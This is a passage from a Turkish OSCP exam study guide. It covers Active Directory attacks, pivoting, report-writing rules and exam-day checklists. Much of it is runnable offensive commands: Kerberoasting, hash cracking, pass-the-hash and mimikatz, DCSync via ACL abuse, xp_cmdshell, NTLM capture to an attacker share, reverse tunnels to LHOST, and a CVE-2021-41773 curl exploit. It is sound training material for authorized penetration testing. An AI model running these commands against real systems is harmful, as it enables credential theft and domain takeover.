.\SharpHound.exe -c All --zipfilename bh.zip

Bakılacak sorgular: Shortest paths to Domain Admins, Shortest paths from Owned principals, Kerberoastable users, AS-REP roastable users, sahip olduğun kullanıcının Outbound Object Control'ü, Find computers where Domain Users are local admin, Users with sessions.

10.4 PowerView / yerleşik araçlarla enum (hedef üzerinden)

. .\PowerView.ps1
Get-DomainUser | select samaccountname,description,memberof
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
Get-DomainUser -PreauthNotRequired | select samaccountname
Get-DomainGroupMember "Domain Admins" -Recurse | select MemberName
Get-DomainComputer | select dnshostname,operatingsystem
Find-LocalAdminAccess                        # bu kullanıcı nerede yerel admin?
Get-NetSession -ComputerName <host>          # kim nerede oturum açmış
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "$env:USERNAME"}
Get-DomainObjectAcl -Identity <hedef> -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner"}
# Araçsız
net user /domain ; net group "Domain Admins" /domain ; net accounts /domain

10.5 Kerberoasting ve AS-REP roasting

impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC -request -outputfile kerb.txt
impacket-GetNPUsers  $DOMAIN/$USER:$PASS -dc-ip $DC -request -format hashcat -outputfile asrep.txt
impacket-GetNPUsers  $DOMAIN/ -usersfile users.txt -dc-ip $DC -no-pass -format hashcat     # kimliksiz
hashcat -m 13100 kerb.txt  /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
.\Rubeus.exe kerberoast /outfile:kerb.txt /nowrap
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap

10.6 Yatay hareket

Yöntem Gereken Komut
PsExec Yerel admin, SMB, ADMIN$ yazılabilir impacket-psexec $DOMAIN/$USER:$PASS@$IP
WMIExec Yerel admin, 135 + yüksek portlar impacket-wmiexec -hashes :<NTLM> $DOMAIN/$USER@$IP
SMBExec / ATExec Yerel admin impacket-smbexec ... / impacket-atexec ... whoami
WinRM Remote Management Users veya admin evil-winrm -i $IP -u $USER -p $PASS / -H <NTLM>
RDP Remote Desktop Users xfreerdp3 /v:$IP /u:$USER /p:$PASS /d:$DOMAIN /cert:ignore
RDP + hash Restricted Admin açık xfreerdp3 /v:$IP /u:$USER /pth:<NTLM> /cert:ignore
nxc tek komut admin nxc smb $IP -u $USER -H <NTLM> -x "whoami"
MSSQL DB erişimi impacket-mssqlclient ... -windows-auth

Windows'tan Windows'a (araç taşıyamıyorsan):

winrs -r:files04 -u:$USER -p:$PASS "cmd /c whoami"
$cred = New-Object System.Management.Automation.PSCredential('CORP\user',(ConvertTo-SecureString 'Pass' -AsPlainText -Force))
Enter-PSSession -ComputerName files04 -Credential $cred
.\PsExec64.exe -accepteula \\files04 -u corp\user -p Pass cmd

Overpass-the-hash / Pass-the-ticket:

impacket-getTGT $DOMAIN/$USER -hashes :<NTLM> -dc-ip $DC
export KRB5CCNAME=$PWD/$USER.ccache
impacket-psexec -k -no-pass $DOMAIN/$USER@host.$DOMAIN        # IP değil, FQDN kullan
.\mimikatz.exe "sekurlsa::pth /user:jen /domain:corp.com /ntlm:<NTLM> /run:powershell" "exit"
.\mimikatz.exe "sekurlsa::tickets /export" "exit" ; .\mimikatz.exe "kerberos::ptt <ticket.kirbi>" "exit"

10.7 MSSQL

SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin');
-- impacket-mssqlclient içinde kısayollar:  enable_xp_cmdshell  /  xp_cmdshell whoami
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';                         -- servis hesabı → SeImpersonate → Potato
-- Kimlik taklidi
SELECT distinct b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id WHERE a.permission_name='IMPERSONATE';
EXECUTE AS LOGIN = 'sa';
-- Bağlı sunucular
SELECT srvname FROM sysservers;  EXEC ('xp_cmdshell ''whoami''') AT [SQL02];
-- Servis hesabının NetNTLMv2'sini yakala (Kali'de: impacket-smbserver share . -smb2support)
EXEC xp_dirtree '\\LHOST\share';

10.8 ACL istismarı (BloodHound kenarları)

Kenar (hedef üzerinde) Saldırı
ForceChangePassword Parolasını değiştir
GenericAll (kullanıcı) Parola değiştir / SPN ekle → kerberoast
GenericAll / AddMember (grup) Kendini gruba ekle
GenericWrite (kullanıcı) SPN ekle (targeted kerberoast)
WriteDACL (domain) Kendine DCSync hakkı ver
WriteOwner Sahibi ol → kendine GenericAll ver
ReadLAPSPassword Makinenin yerel admin parolasını oku
ReadGMSAPassword gMSA hesabının NT hash'ini oku
# bloodyAD (Kali'den, çok pratik)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password <hedef> 'NewPass123!'
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember '<grup>' $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add dcsync $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set owner <hedef> $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll <hedef> $USER
# Alternatif
net rpc password '<hedef>' 'NewPass123!' -U "$DOMAIN/$USER%$PASS" -S $DC
# Targeted kerberoast (GenericWrite)
python3 targetedKerberoast.py -d $DOMAIN -u $USER -p $PASS --dc-ip $DC
# LAPS / gMSA
nxc ldap $DC -u $USER -p $PASS -M laps
nxc ldap $DC -u $USER -p $PASS --gmsa
# PowerView karşılıkları
Set-DomainUserPassword -Identity <hedef> -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
Add-DomainGroupMember -Identity '<grup>' -Members $env:USERNAME
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity $env:USERNAME -Rights DCSync
Set-DomainObject -Identity <hedef> -Set @{serviceprincipalname='x/y'}

Grup üyeliği eklendikten sonra

Yeni grup üyeliği mevcut oturumun token'ına yansımaz: yeniden giriş yap (yeni evil-winrm / yeni TGT).

10.9 Domain Admin ve kanıt

impacket-secretsdump $DOMAIN/<DA kullanıcısı>:<parola>@$DC -just-dc-user Administrator   # DCSync
impacket-psexec $DOMAIN/Administrator@$DC -hashes :<NTLM>
evil-winrm -i $DC -u Administrator -H <NTLM>

DC'de kanıt (aynı karede):

hostname; whoami; ipconfig | findstr IPv4; type C:\Users\Administrator\Desktop\proof.txt

Silver/Golden ticket, DCSync sonrası kalıcılık vb. sınav puanı getirmez; DA'ya ulaştıysan kanıtı al ve devam et.

10.10 İleri seviye (PEN-200 müfredatı dışı — sadece kısa not)

Sınav AD setleri genelde 10.1'deki yollarla çözülür. Aşağıdakiler gerçek hayatta ve HTB'de sık; lab'da gördüğünde hatırla:

  • ADCS: certipy-ad find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -vulnerable -stdout → ESC1: certipy-ad req ... -template <T> -upn administrator@$DOMAIN → certipy-ad auth -pfx administrator.pfx
  • Shadow Credentials (GenericWrite/AddKeyCredentialLink): certipy-ad shadow auto -u $USER@$DOMAIN -p $PASS -account <hedef>
  • RBCD / Constrained / Unconstrained delegation: impacket-findDelegation $DOMAIN/$USER:$PASS -dc-ip $DC
  • NTLM relay + coercion (PetitPotam, PrinterBug): coercion spoofing değildir ama Responder ile poisoning sınavda yasaktır.

10.11 AD'de sık yapılan hatalar

  • Verilen kullanıcıyı tüm makinelerde ve tüm protokollerde denememek.
  • Yerel admin olunan makinede mimikatz/secretsdump çalıştırmamak (bir sonraki adımın anahtarı oradadır).
  • Bulunan yerel admin hash'ini --local-auth ile diğer makinelerde denememek.
  • Kerberos hatası (KRB_AP_ERR_SKEW) → saat; KDC_ERR_S_PRINCIPAL_UNKNOWN → IP yerine FQDN kullan.
  • AD'de 3–4 saat ilerleme yoksa bağımsız makinelere geç, sonra taze kafayla dön.

11. Pivoting

11.1 Ne zaman

ip a / ipconfig çıktısında ikinci bir ağ kartı, ss -tlnp / netstat -ano'da sadece 127.0.0.1'de dinleyen servis veya AD setinde doğrudan erişemediğin makineler.

11.2 Ligolo-ng (önerilen — proxychains gerektirmez)

# Kali
sudo ./proxy -selfcert -laddr 0.0.0.0:11601
# Hedef (Linux / Windows)
./agent -connect LHOST:11601 -ignore-cert
.\agent.exe -connect LHOST:11601 -ignore-cert
# ligolo konsolunda (v0.6+)
session                              → ajanı seç
ifconfig                             → hedefin ağlarını gör
interface_create --name ligolo
interface_add_route --name ligolo --route 10.10.20.0/24
tunnel_start --tun ligolo
# İç ağdaki makineden reverse shell almak için ajan üzerinde dinleyici:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:443 --tcp

Artık nmap -sT -Pn 10.10.20.10, nxc smb 10.10.20.0/24 doğrudan çalışır. İç makinede reverse shell için LHOST = pivot makinenin iç IP'si, port 4444. Pivot makinenin kendi 127.0.0.1 servisleri: özel adres 240.0.0.1 (route ekle: --route 240.0.0.1/32).

(Eski sürüm ligolo kullanıyorsan: sudo ip tuntap add user $(whoami) mode tun ligolo; sudo ip link set ligolo up; sudo ip route add 10.10.20.0/24 dev ligolo ve konsolda start.)

11.3 Chisel (SOCKS + proxychains)

./chisel server -p 8000 --reverse                         # Kali
./chisel client LHOST:8000 R:socks                        # hedef → Kali'de 127.0.0.1:1080 SOCKS5
./chisel client LHOST:8000 R:8080:127.0.0.1:8080          # tek port: hedefin localhost:8080'i → Kali:8080
# /etc/proxychains4.conf son satır:  socks5 127.0.0.1 1080
proxychains4 -q nmap -sT -Pn -p 21,22,80,135,139,445,1433,3389,5985 10.10.20.10
proxychains4 -q nxc smb 10.10.20.0/24 -u $USER -p $PASS

11.4 SSH

ssh -L 8080:127.0.0.1:8080 user@$IP          # hedefin localhost:8080 → Kali:8080
ssh -L 4455:10.10.20.10:445 user@$IP          # iç makine:445 → Kali:4455
ssh -D 1080 -N user@$IP                        # dinamik SOCKS
ssh -R 1080 -N kali@LHOST                      # hedeften Kali'ye ters dinamik (Kali'de sshd açık olmalı)
sshuttle -r user@$IP 10.10.20.0/24             # VPN benzeri

11.5 Windows yerleşik / araç taşıyamıyorsan

netsh interface portproxy add v4tov4 listenport=4455 listenaddress=0.0.0.0 connectport=445 connectaddress=10.10.20.10
netsh advfirewall firewall add rule name="p" dir=in action=allow protocol=TCP localport=4455
plink.exe -ssh -l kali -pw <pw> -R 127.0.0.1:9833:127.0.0.1:3389 LHOST

Linux'ta tek port: socat TCP-LISTEN:4455,fork TCP:10.10.20.10:445 &

Proxychains ile nmap: sadece -sT -Pn, dar port listesi, --max-retries 1. ICMP/UDP geçmez.


12. Rapor

12.1 Teslim kuralları

  • Format: Tek PDF, .7z arşiv içinde. Arşiv şifresiz ve en fazla 200 MB. Arşivde PDF dışında dosya olmaz: script ve PoC'ler PDF'in içine metin olarak konur.
  • Dosya adları (büyük/küçük harf duyarlı): OSCP-OS-XXXXX-Exam-Report.pdf ve OSCP-OS-XXXXX-Exam-Report.7z (XXXXX = OSID'in).
  • Yükleme: Sınav bittikten sonra 24 saat içinde https://upload.offsec.com. "Submit File"a basmadan önce sitenin gösterdiği MD5'i kendi dosyanınkiyle (md5sum) karşılaştır. Gönderim kesindir, sonradan düzeltilemez.
  • Makine sırası: Makineler raporda göründükleri sırayla notlandırılır.
  • Şablon: OffSec'in Word / OpenOffice şablonu ya da yapılı ve profesyonel olduğu sürece kendi şablonun.
  • Dil: Kılavuz bir dil şartı belirtmiyor. Notlandırıcılar uluslararası olduğu için İngilizce yazmak en güvenli tercih; Türkçe düşünüyorsan önce OffSec desteğine sor.
  • Değiştirdiğin public exploit'i rapora ekle (değişiklikleri vurgula + orijinal kaynak linki).
  • Rapor yazarken de AI/LLM kullanmak yasak.

Araç: OffSec şablonu (Word) ya da Markdown → PDF (noraj/OSCP-Exam-Report-Template-Markdown, pandoc + eisvogel). Şablonu sınavdan önce kur ve bir lab makinesiyle deneme raporu üret.

12.2 Yapı

1. High-Level Summary            (hangi makineler, hangi seviyede, kısa öneriler)
2. Methodology                   (information gathering, exploitation, privesc — kısa)
3. Active Directory Set          (makine makine, AD kanıtları)
4. Standalone Machines           (her biri ayrı alt bölüm)
   x.1 Service Enumeration       (nmap özet tablosu)
   x.2 Initial Access            (zafiyet, CVE + link, adım adım komutlar, ekran görüntüleri)
   x.3 Privilege Escalation      (adım adım)
   x.4 Proof                     (local.txt / proof.txt ekran görüntüsü)
5. Appendix                      (değiştirilmiş exploit kodları)

12.3 Her adım için kalıp

**Step 3 — Exploiting Apache 2.4.49 path traversal (CVE-2021-41773)**
The CGI directory allowed path traversal to /bin/sh, giving remote command execution:
    curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' \
      "http://192.168.50.10/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Output (Figure 7): uid=1(daemon) gid=1(daemon)

Kurallar: her komut kopyalanıp çalıştırılabilir olsun; "then I got root" gibi atlama yok; her ekran görüntüsüne numara ve tek cümle açıklama; exploit adına CVE ve kaynak linki.

12.4 24 saatlik rapor planı

Saat İş
0–3 Uyu (sınavdan hemen sonra)
3–5 Şablonu doldur: başlıklar, nmap tabloları, ekran görüntülerini yerleştir
5–10 Makine bölümleri — komut + çıktı + figür
10–11 Özet, metodoloji
11–13 Baştan sona oku: her flag panelde mi, her komut doğru mu, IP'ler doğru mu
13–14 PDF → 7z → yükle → MD5 kontrol → onay e-postasını sakla

Ekler

Ek A — Sınav günü tek sayfa

[ ] Kimlik, temiz masa, webcam, ekran paylaşımı (gözetmen)        [ ] VPN + tun0 IP → vars.sh
[ ] tmux: 0 http.server  1 listener  2 komut  3 notlar             [ ] script ile terminal kaydı
[ ] Panelden makine listesi + AD kimlik bilgileri not edildi
[ ] Metasploit/Meterpreter'ı hangi makinede kullanacağına karar ver (en fazla 1; `check` da kullanım sayılır)
[ ] Her makine: nmap -p- → -sC -sV → UDP 50 → web keşfi
[ ] Her shell: TTY → ilk 10 dk haritası → kimlik avı
[ ] Her kimlik: reuse matrisi (2.5) + nxc ile tüm ağ
[ ] Her flag: etkileşimli kabuk + IP + whoami + hostname aynı karede → PANELE GİR
[ ] 30 dakika kuralı                                                [ ] 03:00–07:00 uyku
[ ] Son 90 dk: tüm kanıt + notlar tam mı?

Ek B — Hızlı kanıt komutları

hostname; id; ip a | grep inet; cat local.txt     # Linux
hostname; whoami; ipconfig | findstr IPv4; type local.txt     # Windows PowerShell

Ek C — Kaynaklar

Kaynak Ne için
OffSec OSCP+ Exam Guide, Exam FAQ, Equated Scaled Scoring FAQ, Proctoring FAQ Güncel kurallar (her şeyin üstünde) — help.offsec.com
GTFOBins / LOLBAS Linux / Windows binary istismarı
HackTricks / PayloadsAllTheThings Servis ve web teknikleri
The Hacker Recipes AD saldırıları (ACL, Kerberos, ADCS)
SecLists Wordlist
TJnull / LainKusanagi OSCP listeleri PG Practice / HTB pratik makine listeleri
PEN-200 Challenge Labs (OSCP A/B/C) Sınav formatına en yakın pratik
IppSec videoları (ippsec.rocks) Teknik arama, çözüm düşüncesi

Bu belge bir komut listesi değil, bir karar sistemi. Takıldığında komutu değil, hangi bilgiyi henüz toplamadığını sor.